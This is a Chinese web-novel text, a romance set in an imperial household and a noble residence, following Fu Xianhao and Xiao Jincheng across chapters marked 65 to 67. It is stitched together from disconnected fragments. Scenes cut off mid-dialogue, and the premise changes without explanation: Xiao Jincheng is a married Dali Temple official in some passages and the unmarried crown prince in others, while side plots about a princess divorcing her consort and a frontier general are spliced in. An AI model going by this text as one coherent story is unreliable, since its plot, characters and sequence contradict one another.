静候在卧阁门口的闻夕听到屋内传来的点点声响才小心翼翼地推开门,看到屋内的场景时她怔愣片刻。 “您什么时候醒的,也不喊奴婢。” 仅身着里衣的傅羡好将目光从床榻上移开,“他昨夜有回来吗?” 闻夕自是知晓这个‘他’是谁。 “奴婢早前去问了府中守夜侍卫,昨夜世子有回来过,但不过入府不到一刻钟又匆匆离去。”说到这儿她顿了顿,观察了下主子的神色,“现下还未回来。” 闻言,傅羡好若有所思地点头。 萧瑾承入仕不过三年,这三年间宛若飞龙,仕途一路畅通无阻,年纪轻轻已然身居大理寺少卿之位。 虽说只是大理寺少卿一职,但由于大理寺卿年岁已高,在当今圣上的授意之下,萧瑾承更多地是代行大理寺卿的职务。 回来过,又迅速离去,想来应该是要事在身。 若是有要事在身需要处理,她的生辰与之相较显得尤为微不足道。 傅羡好告诉妆镜中的自己,她与萧瑾承相识多年,知晓他注重承诺,若不是脱不开身必然不会失诺。 此刻妆镜中的她眼下的青丝已被妆粉盖去,许是听闻了她的话语,回了她一道浅浅的笑容。 昨夜没有休息好,早膳傅羡好并没有用多少,随意喝了几口粥后取过乔氏遗留下的帕子,带着闻夕往外走去东苑。 当主仆二人踏出宣晖园正厅时,恰好遇见手捧着匣子快步而来的鹤一。 她的视线径直地落在匣子上,心中涌起一股难以言说的期冀,“夫君可在书房?” 鹤一行了道礼,将匣子递上,“这是大人为您挑选的生辰礼,昨日公务繁忙大人歇在了大理寺来不及给您,今晨特遣属下送来。” 闻言,傅羡好眼眸一亮。 她打开鹤一递来的匣子,里头是一块上好的翡翠原石,呈黄色的砂皮子,晶莹剔透的绿色呈带状延伸,恰似神龙展翅。 翡翠原石握在手中隐隐发热,也不知是原石特制所引起的,还是心中腾腾升起的热气弥漫至掌心。 那双本是淡漠无波的眼眸中被欣喜雀跃所取缔,傅羡好恋恋不舍地挪开落在翡翠原石上的目光。 “哥哥可说什么时候回来?” 她欣喜到就连许久未喊出口的称呼此刻也脱口而出。 鹤一都能感受到荡漾在周遭的欢喜,他挠了挠头,“大人还在处理公务,回府时间尚未确定。” 傅羡好摩挲着翡翠玉石,略显粗糙的石面划过柔嫩的掌心,“最近很忙吗?” 鹤一颔首。 傅羡好了然地点点头,又垂眸瞥了眼翡翠玉石,想到他如此忙碌但仍然记得给她准备生辰礼物,昨夜起压在心中的乌云霎时间散去,明媚暖阳将全身烘得暖洋洋的。 目送鹤一离开宣晖园后,傅羡好步伐微微转动往院落侧阁去。 宣晖园中除了主阁外,还有东西两处侧阁,东侧阁是萧瑾承的书屋,西侧阁则是院中日常所需物品存放之地,但这处院落中仅有两位主子,所摆放的物品也并没有占满,是以傅羡好也腾出西侧阁的卧阁用作玉雕屋。 玉雕屋内麻雀虽小然五脏六腑俱全,踏入屋内一眼便可瞧见大小不一的原石,另一处博古架上摆放着少数的已雕刻成型的玉饰。 琳琅满目的玉饰皆是傅羡好亲手一点一点打磨出来的。 她将萧瑾承送来的翡翠原石摆放于最为夺目之处,摆好后又退出玉雕屋,凝视会儿稍稍摇头,“闻夕,你看看摆在这个位置是不是偏了点。” 闻夕探头瞧了眼,笑道:“奴婢瞧着是摆在正中央的位置,一眼就能瞧见。” 傅羡好摇了摇头,走到博古架前再次挪动翡翠原石,而后又走出玉雕屋观察些许时候,周而复始约莫十来次才稍稍觉得满意。 这还是成婚后萧瑾承第一次赠送原石予她。 想到这儿,她的心情又好了几分。 走去东苑的路上步伐都是雀跃的,笑意盈盈的面容尤为靓丽。 乔氏喜静,身边伺候的人仅有几个,可人也都不知道哪儿去了,傅羡好走入院落并未瞧见半道人影,直到临近主厅之时才听到宁老夫人苦口婆心的话语,语气中甚至带着恨铁不成钢之意。 “我瞧你也是死心眼,你养了她这么多年,吃喝住行哪一点不是按照世家千金的标准,要我说你该还的恩情都已经还清。” “她使了下作手段入了国公府不说,嫁入三年甚至连一儿半女都没有,你还护着她,我倒是想不通,到底瑾承是你的孩子还是她才是你的孩子?” 闻言,傅羡好步履微顿,扬起的嘴角也慢慢垂了下来。 “姑母,羡儿是我看着长大的,她是什么样的人我心中很是清楚,她并非是会为了嫁入国公府而使手段的人。” 宁老夫人不满地‘啧’了声。 傅羡好抿了抿唇,正准备离开之时忽而对上宁老夫人的视线,如荆棘般的目光向她刺来。 看到来人时宁老夫人先是怔了下,确定侄女并没有发现来人时,问:“你还是好生天真,三年了,有确凿证据表明不是她吗?” 这话一出,傅羡好的心霎时间提到嗓子眼处。 是的,并没有证据表明不是她。 那日的混乱直至今日,她都记得一清二楚,可也是直至今日都无法证明给萧瑾承下药的人并不是自己。 是以,绝大多数的人都觉得是她动了不该动的心思,萧瑾承亦是如此。 很长的一段时间里,每日夜里傅羡好都会梦到萧瑾承醒来时看向她的眼神。 诧异,不解,失望,冷漠。 仔细想来,萧瑾承眼神变化不过一瞬之间,可在她这儿却是如年般漫长。 “你站在这儿做什么。” 清冷的嗓音穿过耳膜刺入心间,刺得怔忪在原地的傅羡好颤了一下,抬起头的刹那间眼眸中倏地印满了她心心念念的那个人! 她唇瓣微张,承皙的脸颊染上了红晕,“你怎会儿在这儿?鹤一说你处理公务还需要些许时候,今日不忙吗?” 稍显语无伦次的话语洋溢着激动的色彩,适才所听到的一切都被抛之脑后。 此时此刻,傅羡好满心满眼皆是这个人。 萧瑾承听到主厅的动静,循声扫了眼声源处后才道:“回来取份文书,顺便来见见母亲。” 傅羡好了然,思索须臾,边抬脚边道:“那你同母亲说话,我去帮你取文书。” “你不知道在哪。” 萧瑾承嗓音稍显冷淡,也就较这冬日寒风暖上些许。 傅羡好抿了抿唇,“你可以告诉我,我去取。” 顿了顿,她像是想起什么似的,猛地抬起头,“我不会动其他的东西的,如果你不相信的话,可以喊上个人跟我过去的。” 她只是想帮他拿个东西而已,仅此而已。 闻言,萧瑾承垂眸扫了眼眼前的女子。 她仰着头看着自己,闪烁着星辉的眼眸中夹杂着些许小心翼翼的神色,不知为何,让他想起了多年前初次见面的光景。 “鹤一已经去取了,我和母亲说上一声便走,莫要耽搁了时间。” 话音入耳的瞬间傅羡好忙往后退了几步,意识到是她话多了,耽误了萧瑾承的时间。 萧瑾承向来忙碌,甚少归家,若是回府了必然会前来探望乔氏再走,可他空闲的时间尤为稀少,往往说不上几句话又匆忙离去。 这次是她莽撞,本就只有几句话的时间,和她对话的两三句话中就已经占用了他和乔氏交谈的时间。 可饶是如此傅羡好也很是满足了,就算是在这偷来的时间中能和他说上两句话,她已经心满意足了。 萧瑾承迈得步伐较大,傅羡好需要小跑几步才能跟上他的脚步。 乔氏也没有想到儿子会在这个时候回来,听到声音后就穿过长廊匆匆走来,“今日怎么有空回来,可用过早膳了?我让人传膳去。” “已经用过早膳了。”萧瑾承道。 傅羡好站在身后听着,只觉得如沐春风,与适才的语气完全不同。 下一瞬又听到他说:“儿子需出京几日,回来取样东西便走。” 她倏地抬起头,张了张嘴,想问他是去哪儿,是否需要她回院中收拾行囊。 可转念一想,想到初初成婚那年萧瑾承第一次外出时,她自作主张地替他收拾了行囊,却被他告知往后不可动他的物品。 傅羡好低眉垂眼,不再多言。 “你父亲昨夜和我说了。”乔氏知道现下朝中风起云涌,稍有不慎就会变天,叮嘱道:“出门在外,万事多加小心。” “多年未见,瑾承都已经长成了我不认识的模样了。”腿脚不及乔氏利索的宁老夫人将将走来,出声道。 萧瑾承看到来人,眉眼和外祖父如出一辙,“姑外祖母。” 宁老夫人笑着上下打量着萧瑾承,“上次见时不过是七八岁的年龄,幼时便生得尤为俊俏,没想到长大后更甚幼时,想来应该有不少的女子暗许芳心,可有心仪的姑娘了?” 傅羡好脸色一承,隐在斗篷下的指尖绞着裙摆,就好像是有把刀架在头上,生怕它落下,又生怕它久久架着令人寝食难安。 她垂着头,却能够感受到若有若无的目光,深吸了一口气等待着萧瑾承的回复。 傅羡好知道萧瑾承对自己并没有意,可又害怕他对她人有意。 然而她并未等到他的回答。 鹤一来了。 萧瑾承和乔氏道别后转头离去,头也没有回过。 乔氏眼看着儿子走远,推了下正在发怔的傅羡好,扬着下颌示意道:“追上去啊!” 傅羡好眨了眨眼眸,回过神来福了福身一路小跑着追过去。 紧赶慢赶追上萧瑾承时,他已经骑上了马匹,正要扬鞭离去,她忙高声问:“夫君,你何时回来?” 然而在她出声的同时,骏马疾驰而走。 回应傅羡好的只有呼啸的风声。 静坐于雅苑中的男子循循出声,温润如玉的嗓音像极了秋日艳阳,驱散了冬日的严寒。 傅羡好撩起眼眸看向探身而出的男子,眉梢微蹙。 又听见跟前的人对她道:“这位是我的好友叶煦,若不是他告知我认错人,我还蒙在鼓中呢。” 闻言,傅羡好抿了抿唇。 叶煦穿过叠叠竹林走来,他身旁跟着位小厮,不知说了些什么,他步伐停顿少顷,清隽的眸色渐渐敛下,变得幽深不可测。 身后传来萧希桥询问侍女是否看到她身影的话语,傅羡好也不愿多做停留,颔首道:“那日不是公子我也会出声提醒,公子不必挂在心上,就当是遇到多管闲事之人即可。” 说罢她带着闻夕匆匆离去,也不给梁钊说话的时间。 叶煦走到时,傅羡好的身影也已经拐入长廊。 “我是不是吓到她了?”梁钊疑惑地问。 叶煦眸光始终落向她身影消失的拐角处,并不言语。 良久,他摊开掌心,露出枚虎啸玉雕。 虎虫仰头长啸的神态惟妙惟肖,纤细长须似乎也随它的长啸而颤动。 梁钊眼眸一亮,翻开虎雕的下方寻了片刻,方才在其后腿处看到熟悉的字眼,“来得早不如来得巧,还好和掌柜的打好招呼,不枉我在此采买了那么多奇形怪状的玉饰。” 叶煦眉梢微挑,“她就是祁洲。” “谁?”梁钊倏地抬起头,眸中满是惊诧和不解,连连发问:“谁是祁洲!?在何处?你怎么知道的?哪儿有你我之外的男子经过,我怎么没看到?” “并非男子,而是你叫住的姑娘。”叶煦取过他手中的虎雕,敛下眼眸凝它多时。 他们来京后,祁洲的作品出现过两次,而每一次都是其中一位姑娘来到璙园后。 且若是他没有看错,梁钊叫住的姑娘腕间戴有粉承相间的玉珠子,每颗玉珠子上都刻着柳絮飘落之景,这正是半年前祁洲对外售出之作,也很不巧,被彼时入京的他买入藏于阁楼中。 这世间仅有一串的玉珠子现下出现在其手中,如不是盗用作品,就只能是祁洲本人。 而叶煦更相信是后者。 是竹清。 叩响响声稍稍慌乱,她的嗓音亦是。 傅羡好提着笔快步流星地上前开门,就见竹清神色稍显慌张地看着自己,但她还是记得避开了观祺,拉着自己走到门外。 “宫外来了消息,驸马养在院中的女子有了身子!” 闻言,傅羡好微微蹙眉。 避子汤,萧清歌是着心腹日日看着赵民知喝下的,他身边的人,怎会有孕? 她快步走到阁中,将笔递给观祺的同时指腹不动声色地在她的手背上落下道‘赵’字,而后皱着眉走到竹清身旁,“赵家怎么说?” “赵家也不想驸马绝后,如今她好不容易有了身孕,定然是护着她的,说什么也不肯退让,知晓她怀有身孕时赵家老太太就强行闯入公主府,接走了她。” “赵家甚至放言,若那女子有任何的意外,赵家定会上书,求请圣上严惩殿下。” 第 65 章 第 65 章 萧清歌下降近五载。 四年多的时日内唯有洞房花烛夜与赵民知共处一室,此后便得知他心中有人且偷偷养在外头近半载,是以这些年间她从未与赵民知有过亲密之交,也无异为难那个孤苦伶仃的女子。 赵家既然想要攀附于皇权,萧清歌便让他们知晓皇权并不是那么好依附的,她不与赵民知同室,同时也明确告知赵家,赵民知之子只能出自她,其余人等皆不可僭越。 寻了这个借口后,萧清歌日复一日地给赵民知送去避子汤,这几年中从未有过一次纰漏。 唯独这一次…… 傅羡好微微皱眉,循着竹清赶往长信宫。 萧清歌何其高傲一人,宁可叫千万人唾骂,任由赵家哭之闹之,也不曾向赵家退让过半步。 还未踏入长信宫,宫殿中传来异常清脆的声响。 傅羡好惊讶地看着眼前的萧瑾承,一时怔住了。 她从未想过竟会在这里见到萧瑾承,也从未见过他如此狼狈的模样,或者说,萧瑾承从未在人前显示出如此狼狈的一面。 天之骄子般的他,自小便是万人瞩目的存在,接受无数人的敬仰和奉承,虽无傲气,但依然有作为大周太子的傲骨。 而此刻,瓢泼大雨铺天盖地席卷而来,将靠在斑驳红墙上的他逼至角落,斗大的而冰冷的雨点打在他的脸上,冻得他脸色灰白,甚至连嘴唇都泛着乌青。 曾是天边之上的人,跌落了云端。 萧瑾承也没想到竟会在这里见到傅羡好。他的眼力极好,早在傅羡好认出他时,他便早已认出了傅羡好。 见她向自己走近,他极力将捂在胸口的手挪开,不想暴露自己最脆弱的秘密,然而一阵冷风猛地吹来,他不慎倒吸一口凉气,竟忍不住剧烈咳嗽起来。 这一咳嗽,惊醒了怔忡之间的傅羡好。 她心里一紧,忍不住担忧地上前一步,然而她却忘了此刻自己腿脚不便。左脚刚迈出一步,拐杖“呲溜”划过湿滑的青石板,重心失衡,她竟直接栽倒向萧瑾承。 萧瑾承早已是强弩之末,全靠他惊人的意志力之支撑着身体才不至倒下。看着傅羡好直直地向他扑来,他心里一惊,正打算挪动脚步避开,然而此刻他却脚步虚浮。 避无可避,只能硬生生地接下她。 “哐当——” 烟紫色薄纱裙扬风而起,而后轻轻地覆在了瑾色暗金纹大氅之上。衣袂相倾,任大雨猛烈地浇灌。 凛冽的大雨带走了萧瑾承身上的傅度,胸前傅热而软糯的身体让他不仅一阵战栗,十分不自在。 他身形高大,傅羡好只是轻轻地趴在他的肩头,急促的呼吸在他的耳边轻轻喘.息,淡淡的香气氤氲开来。 这抹香,正是几天前他在未央宫前闻到过的。 萧瑾承狞紧眉头,暗中握紧了双拳! 果真是欲擒故纵! 真是个诡计多端的女子! 或许是心里的怒气过甚,亦或是砸在青石板上的钝痛让他恍惚,萧瑾承一时觉得连身上的不适都减轻了。 他动了动自己被傅羡好压得严严实实的手,正准备推开身上的人,但一想这一推就会碰到傅羡好的身体,萧瑾承只能作罢。 他按捺住心里的怒气,道:“傅妹妹。” 他的声音极为冷淡,没有任何感情。 而傅羡好,在跌进萧瑾承怀里的瞬间,脑子就懵了。 她心里爱慕着萧瑾承,做梦都想靠近他,虽然她无比希望萧瑾承能拥她入怀,但绝不是以这种方式! 听萧瑾承一如往常的语调在她耳旁响起,暖暖的气息抚过她的耳畔,她脸上轰地一红,又羞又窘。 他们之间虽然有过拥抱,但也都是浅浅的,从未如此肌肤相贴。她甚至,可以感受到萧瑾承胸前稳健而有力的心跳。 那是一颗,她渴望得到的心。 傅羡好紧张地抓着萧瑾承胸前的衣襟,闻声慌乱地抬头,恰好对上萧瑾承那道淡漠的眼神。 深不见底的眼神,波澜不惊,衬得她的慌乱越发可笑。 傅羡好心忽地生起一阵心酸,虽然她早就知道萧瑾承不喜欢她,但每一次当她主动靠近,却看到他的无动于衷时,依然忍不住会难过。 鼻子一阵酸涩,傅羡好敛眉掩去心里的心思,强压下心底冒出的酸水,费力地撑起身子,准备起身。 然而在膝盖摔伤的地方,柳叶儿怕她乱跑,给她用竹简紧紧裹住了,导致她现在右腿完全使不上力气。 她刚刚起身,却又再次跌倒在萧瑾承的身上,这一次,两人的距离又近了几分,那道弥漫在周遭的香气,像一根根游丝,从四面八方钻进萧瑾承的身体里、肺腑里。 焦躁,充盈了萧瑾承的心。 萧瑾承:“……” 可恶!这绝对是故意的!如此简陋粗俗的技巧,如果不是他现在身体有恙,绝不会任她如此胡作非为的! 傅羡好见自己起不来,心里也越发着急,她怕萧瑾承因此而讨厌她,由此越发慌乱地想起身。 越慌,越乱,加之大雨滂沱,两人浑身早已湿透,萧瑾承本以为傅羡好就算做戏也会有所分寸,没想到她竟如此厚颜无耻,丝毫不在乎高门贵女的颜面! 他脸色越发难看,正在他打算直接上手将傅羡好从自己身上推下去时,突然,落月宫突然跑出几个太监。 “就在那儿!”萧欣悦举着伞,指着傅羡好和萧瑾承两人,“太子殿下和傅小姐摔倒了。” 早在发现这人是萧瑾承时,萧欣悦就知道事情麻烦了。如果是旁人,她们还能勉强编出一套临时躲雨的说辞,然而这人可是萧瑾承! 她们那些自以为是的心眼,在萧瑾承眼里只怕比小儿科还小儿科! 由是,在傅羡好跌倒在萧瑾承怀里时,她赶紧偷偷离开,进入落月宫嘱咐那些宫女和太监封住嘴。 若是傅羡好和萧瑾铭的关系被知晓了,那傅羡好以后可别想在傅皇后底下讨到什么好果子吃。 落月宫的太监宫女们见到萧瑾承,差点儿都不会走路了,待宫女们扶起傅羡好,他们战战兢兢地一看我我看你,不敢走向地上躺着着的萧瑾承。 落月宫快十年没有来过这样重要的人物了,自瑶妃逝世、萧瑾铭痴傻后,所有人都已经开始混吃等死。 萧瑾承见着不敢上前的宫人,心里气极,无比后悔今日临时起意来这里。 果然,他就不该对萧瑾铭有所期待的,就连傻子宫里的仆人,也和他一样傻的笨手笨脚的! 萧瑾承忍着浑身的不适,冷眼扫过周围惶恐的太监,道:“愣着干什么?还不快扶孤起来?” 众人得令,这才慌乱地将人送进落月宫。 落月宫也是盛极一时的贵妃所居之地,占地面积并不小,宫室众多,环境优美,然而随着瑶妃的命陨,落月宫早已失去了早日的华光。 如今,大多数宫殿早已久未有人踏足,除了萧瑾铭居住的那间上房,唯有一间勉强能待客。 于是,自作聪明的太监和宫女们,便将萧瑾承和傅羡好送进了一间屋子。 由是,当萧瑾承进屋时,恰好看见傅羡好正撩起裙摆,露出那截白的发光的小腿,十分刺眼。 不知羞耻! 萧瑾承眉头一拧,飞快地别开掩去。 这一扭头,恰好错开了下一瞬,傅羡好腿上露出的狰狞的伤口。 不久前听闻姑苏传来的消息时,傅恺就知是她的手笔,否则这位狐仙早不出晚不出,偏偏是上元节后出现的,“傅家学子们如今也是将信将疑,我已经给他们回了信。” “玄学之说,非寻常事。”傅羡好需要的是时日,天将狐仙一事并非一朝一夕就能得以令人信服,但随着时日的推移,预言一桩一件坐实后也不免得心生意动。 傅恺颔首,静默须臾,思绪间涌过适才入殿的萧清歌,微红的眼眸中带着少许的倔强,还没有看清殿中的人影就道出了来意,“公主要休驸马?” 傅羡好‘嗯’了声,余光瞥了眼不远处的承天宫,道:“赵民知养在身边的女子怀有身孕,京中很快就会有异动。” 闻言,傅恺眉梢微蹙,“怀有身孕?” 他语气中带着点难以置信,傅羡好初初听闻时亦是如此,“是她被圈禁于德宗院时的事情,也因为这件事,她与萧澈生了点嫌隙。” 傅羡好摸不准这其中的嫌隙有多大,但就算是道肉眼难以瞧见的缝隙,亦是嫌隙。 傅恺默然,眸色不着痕迹地沉了几分。 第 66 章 第 66 章 萧清歌休驸马一事,于京中闹得沸沸扬扬。 那日她离开承天宫不过一刻钟,茂实就携着今上圣旨前往公主府,与之一同离宫的萧清歌当下便着人将赵民知的东西扔到公主府门口。 一时间赵家再次被架在风口浪尖上,满朝文武及京中百姓皆是哗然,就在这个时候,赵民知外室有孕之事旋即传开,舆论再次站在了萧清歌一边,纷纷指责赵家不干人事。 更有甚者前往赵家门前扔着烂菜叶,骂其欲要攀附皇家又要一而再再二三地羞辱公主,口诛笔伐,颇有人人喊打之势。 赵家与萧清歌的梁子也就此结下。 饶是身子骨甚好的皇后,也被萧清歌的举止气得怒火攻心,当晚就起了高热,一连多日都卧病在榻。 傅羡好于宫中贴身伺候了七日,都未曾回瑶阁,就连入眠也是趴在床榻边守着。 早在傅羡好摔倒时,她就察觉到伤口再次崩开了,不过在萧瑾承气息的笼罩之下,她几乎将所有的注意力都放到了他的身上。 一进屋,膝盖处的伤口阵阵刺痛,但此时她却顾不得自己的伤,赶紧对着一旁的萧欣悦道:“你快去看着萧瑾铭吧,我怕他出来把我和他的关系说漏了嘴。” 兹事体大,萧欣悦了然地点点头,只是仍有些忧虑地问:“你的伤……” “没事的。”傅羡好忍着疼,勉强扯着嘴角笑,“本就不严重,小伤而已,你先去照顾萧瑾铭吧。” 看着萧欣悦离去的背影消失后,傅羡好瞬间变了脸,疼得直吸气。她用眼神扫了扫门前的宫女,虽然有几分眼熟,但却也不是熟识,只是日常会打赏些零碎罢了。 傅羡好掏出怀里常备的小珍珠,轻声道:“劳烦姐姐,帮忙拿一身干净的衣服可好?” 傅羡好出手向来大方,在所有人都想去巴结萧瑾承时,唯有她守在傅羡好身边,为的便是这一刻。 她笑着将莹润的珍珠收进袖中,讨好道:“傅小姐稍等片刻,奴婢定会将落月宫最好的裙子拿给傅小姐。” 落月宫宫殿众多,她和萧瑾承已是到了男未婚女未嫁之龄,自然会待在不同的房间,因此傅羡好从未想过宫人会将萧瑾承一起送进来。 由是,当她旁若无人地撩起自己的裙摆时,完全没注意到身后萧瑾承十分不善的眼神。 “咳咳!”萧瑾承停在门口,别过头刻意咳嗽,脸色苍白。 傅羡好吓得手上一抖,一脸慌张地向门前望去。 萧瑾承单手扶着门框,像是支撑不住身体寻找支撑点,又像是阻挡别人进来。 天色晦暗不明,傅羡好看不清他的神色,也不知道他刚刚有没有看到她的伤口,更是不知道他为什么在这个时候过来。 一时间,她竟有些手足无措:“太子……表哥?” “太子殿下,怎么不进屋?”门外跟着萧瑾承的太监和宫女们紧张地看着萧瑾承,战战兢兢道:“可是有什么不妥?” 萧瑾承瞥了一眼重新穿戴好的傅羡好,放下撑在门框上的手,冷声道:“傅小姐在此,孤便不进去了,给孤另寻一件房吧。” 这一句话,可苦了他身后的太监们,他们低着头面面相觑,一时间说不出话来。 要是真有合适的房间,他们也不会让傅羡好和萧瑾承一男一女在一个屋檐下啊!其余的房间,要么年久失修,漏风漏雨;要么多年从未开过门,估计屋里的灰陈都叠了几层了。 萧瑾承等不到回答,心里越发不爽,转身怒道:“怎么,孤说的话你们都没听见?” “太子殿下恕罪!”一众太监宫女被他这么发难,直接吓得脸色惨白,为首的太监苦着脸抬头,看着萧瑾承只好破罐子破摔了。 “不怕太子殿下笑话,我们落月宫如今就两件干净的房间,一间住着六殿下,另一间就是这里了。” “并非我们怠慢太子殿下和傅小姐,只是平日里我们落月宫从没来过这么多贵人,没想到这一场大雨,竟让太子殿下、九公主殿下和傅小姐竟同时来避雨,这一时……我们实在是准备不周。” 萧瑾承:“……” 这句话说得极为巧妙,直接就把傅羡好和萧欣悦说成了和萧瑾承一样,只是意外来落月宫避雨的人。 屋里没点灯,唯有昏暗的天光透过窗户,浅浅地映出了一脸恬静的傅羡好,她就那么静静地站着,不发出一点声音。 想起刚刚她胆大包天的动作,萧瑾承紧紧地皱起眉头,“既是如此,那我就趁现在去看看六弟。” 说完,他转身边走,没有一丝留恋。 傅羡好刚刚淋了大雨,一身湿透的衣衫都还没来得及换,萧瑾承的话仿佛一阵凉风,让她后脊一阵寒颤。 糟了,决不能让他见到萧瑾铭! “太子表哥!”傅羡好心里一急,脑子里还未想出一个理由,口中已经喊出了声。 萧瑾承脚步一顿,心道然如此,他早就知道这个女人不会善罢甘休,他微微侧身,定定地看着傅羡好:“傅妹妹,可还有事?” 傅羡好:“……” 能有什么事?到底能有什么事情能把他留下来? 傅羡好一番苦思冥想,也想不出来一个合适的理由,她急得心跳飞快,脸上一阵不自然的潮红而浑然不知。 然而这幅样子,在萧瑾承眼里,却又是另一番意思了。 此时的她,不施粉黛却眉眼如画,微红的脸颊像是天然涂抹的胭脂,让她有一种“清水出芙蓉,天然去雕饰”的美,湿透了的裙衫紧紧地贴在身上,凹凸有致的身形无不彰显着她别样的风韵。 尤其是那双紫灰色的眼睛,朦胧中已经有了些许魅惑之感。 想起今早周帝的话以及前几日十皇子让柳太医给傅羡好问疾,萧瑾承看向傅羡好的眼神越发不善。 如此模样,早晚是祸水! 若是此女子留在宫里,只怕以后会生出许多事端! 萧瑾承心里盘算着,然而傅羡好此刻却没注意到他变化的神情,她低着头慌张而不安地扣着手指。 终于,她想到了一个绝佳的理由。 傅羡好猛地抬头,看着依旧在门外未踏进房门的萧瑾承,迟疑道:“太子表哥,徐夫子总说我的字徒有其型,缺少魂魄,如今大雨猛烈,机会难得,傅羡好可否现在请教一二?” 萧瑾承怔忡:“?” 傅羡好一说出口,也觉得自己这个留人的理由太过牵强,只好磕磕巴巴地解释:“太子表哥或许忘了,徐夫子是我父亲的旧友,他对我一向严厉。” “他让我临摹一份《灵飞经》,在下次去太学的时候交给他看,他说若是我的字依旧是丝毫进步,他就会把我的字烧给我父亲看……” 说完,傅羡好既羞又无措地低下头。 这话,倒也没有没有骗人。 萧瑾承:“……” 萧瑾承这些年走南闯北,也算是见过各色人等,有人明着给他塞金银珠宝、美人字画,有人暗中揣摩他的爱好,打算投其所好。 江南一带流行着所谓的“扬州瘦马”,专门培养女子以色侍人。他在江南考察时,曾有人不知他的忌讳,竟将一绝色女子塞到他的床上,气得他当晚就查抄了那人的家。 可现在,萧瑾承看着傅羡好柔弱无骨的身体,泼墨般发色的青丝凌乱地垂在一侧,那双明眸善睐的眼睛,正充满希冀而试探地望着他,懵懂而无辜。 这引诱人的技术,比当初那个女子不知道高出了几个段位。 他突然,就对傅羡好的目的有了几分兴趣。 “好啊。”萧瑾承忽然笑了,然而那笑意却不到眼底。 他踏进门,朝着傅羡好走去,嘴角缓缓勾起。 他倒要看看,她到底是想做什么! 眸光凝着信封上飘逸洒落的小楷须臾,萧瑾承不急不忙地掀起眼帘,看向禀报着近些时日军中情形的于屹川,“荆山郡城中,还有多少百姓留守。” 男子冷冽深沉的语气荡起,于屹川倏然回过神来,摇了摇头,“目前城中的百姓都已经安置于郡外,城中仅有将士们值守。” 萧瑾承指腹缓缓地摩挲着信封上的小楷,看了眼饱受风霜雨雪的于屹川,他笑了笑,道:“于将军的来意孤已经知晓了,如今城中无人,于将军放手一博即可。” “多谢殿下!”于屹川起身拱手,“臣定当亲自给殿下送来捷报。” 萧瑾承起身,拍了拍他的肩膀,“于将军歇息片刻,一个时辰后,孤与你一同启程前往荆山郡。” “这……”于屹川看了眼萧瑾承的右臂,微微迟疑了下,道:“殿下的伤……?” 闻言,萧瑾承循着他的目光,漫不经心地扫了眼尚未痊愈的右肩,“无碍,小伤而已。” 于屹川默然。 怎的他听闻的消息,并不是小伤? 第 67 章 第 67 章 除夕前夕,位于荆山郡的于屹川收到承天宫密碟,道太子殿下萧瑾承将于半个月后抵达荆山郡,坐镇军营统领。 于屹川记得出发之日,数着太子殿下抵荆山郡的时日,谁知到了那日军中众将领皆未见到太子殿下一行人的身影,莫说是人影,就是半点儿消息也没有递来。 直到十天前,军营中用于暗中探秘的督导司将领来报,道太子殿下前来安泽郡的途中遭受埋伏,太子殿下身受重伤不知所踪,且跟随其左右的两名侍卫皆是下落不明。 于屹川怒然,旋即派兵前往安泽郡外暗中搜寻太子下落。 谁知他的人将安泽郡方圆百里搜了个遍,连轴转了五日都没有搜到太子殿下的身影,于屹川当即意识到事情的不对劲,连忙上书命侍卫百里加急送入京。 但传信侍卫不过将将离开荆山郡两日,安泽郡郡守被太子下令斩首于午门的消息再次传来,老郡守头颅刚刚被斩下,安泽郡新任郡守走马上任,于屹川听闻过新任郡守名讳,其乃出身军营的寒门氏族。 语无伦次的话语戛然而止。 傅羡好仰视着男子,溢满眼眸的水光令她无法看清眼前人的神情,她宛若身处冰窖之中,下一刻就要被冻晕在这漫天的冰雪里。 “少夫人。”守在一侧良久的鹤一伸出手探向她的手臂,“属下扶您起来。” 傅羡好抿着唇抽回手,双手撑着地板踉跄站直,一言不发地跟着鹤一往外走,沉稳的脚步声从身后跟上来,一步一步地敲击着她的耳膜。 以往令她心动雀跃的声音,现下却让她的心口不停地往下坠。 紧闭的门扉适时被推开,院中承茫茫的一片,落雪覆满了整座璙园,飘雪坠落在傅羡好的手上不过瞬时便化成了水珠,满园的落雪却不及她心中的冰冷。 走向雅院时,她回头看了眼门扉大开的赌石场,萧瑾承伫立于赌石场内,神情冷冽而又刺骨,铺天盖地地砸来。 傅羡好的心又抽了下,慌忙回过头。 萧瑾承将这一幕收进眼眸,女子单薄柔弱的背影艰难地行走于雪地之中,她有那么会儿踉跄了下可下一刻又挺直了身躯,一如既往地保持着得体仪态。 他静静地看着她好一会儿。 闻言,萧瑾承目光斜斜地掠了眼好友。 多年前他和母亲前往傅府,那是他第一次见到傅羡好,小姑娘不过十一岁的年龄,被堂兄弟们推到在地的她下意识地环着幼小的身躯保护自己,恰如铃铛的眼眸一闪一闪的。 他们视线对上的那一瞬间,他在小傅羡好的眼中看到了畏惧、怯弱,以及祈求。 也是这一眼让萧瑾承决定往后定要将傅羡好捧在手心中,不再让外人欺凌她分毫。 他扪心自问,这么些年也是如此对待她的。 若不是那一场意外,他们之间的关系不至于僵硬至此,他给过傅羡好机会自证不是她下的药,也曾亲自去查过,可最终所有的证据都指向了她,只有她接触过那一碗汤羹。 思及此,萧瑾承淡薄的眼眸中闪过一丝惋惜,“人心总是贪婪的。” 有时他都在想,是不是这么多年对傅羡好太好才导致她有恃无恐,对着他都能够动手脚,更何况其他人? 章宇睿对这件事也是清楚的,似有似无的叹息声溢出。 萧瑾承敛去眸底的晦暗,朝着璙园后院门扉的方向而去,“我进宫一趟。” 随着二人的离去璙园愈发得静,静到只剩下风声。 呼啸而过的狂风压弯了干枯枝桠,落在上头的积雪倾盆而落,砸落到地上发出沉闷的响音。 傅羡好被送回了宣晖园。 与往日不同的是,宣晖园多了十几位侍卫守在卧阁前。 园内伺候的侍女们还是第一次见到如此阵仗,面面相觑都不知发生了何事,跟着少夫人一同出府的闻夕竟也没有回府,倒是鹤侍卫将少夫人送回。 卧阁内炭火烧得很足,傅羡好踏入正厅后才停下步伐,干涸的嗓音好半响才出了音,“你去随在他身旁,我不会离开这儿的。” 沉默了一路的鹤一拱了拱手,道:“是属下失职,没有——” “和你无关。”傅羡好截过他的话,扯着唇瓣笑了笑,笑意不达眼眸,“是我让你离开的,怎会是你的失职,是我明明意识到今日事情的不对劲,但还是存在了侥幸心理。” 说完后她挥了挥手,又道:“我累了,想要歇一会儿。” 鹤一咽下到了嘴边的话,踏出门槛的同时合拢了门扉。 他望着候在院中的侍卫们,扬了扬手,示意他们围住院落,“没有大人的命令,任何人都不能踏入院中,院中的人也不可离开。” 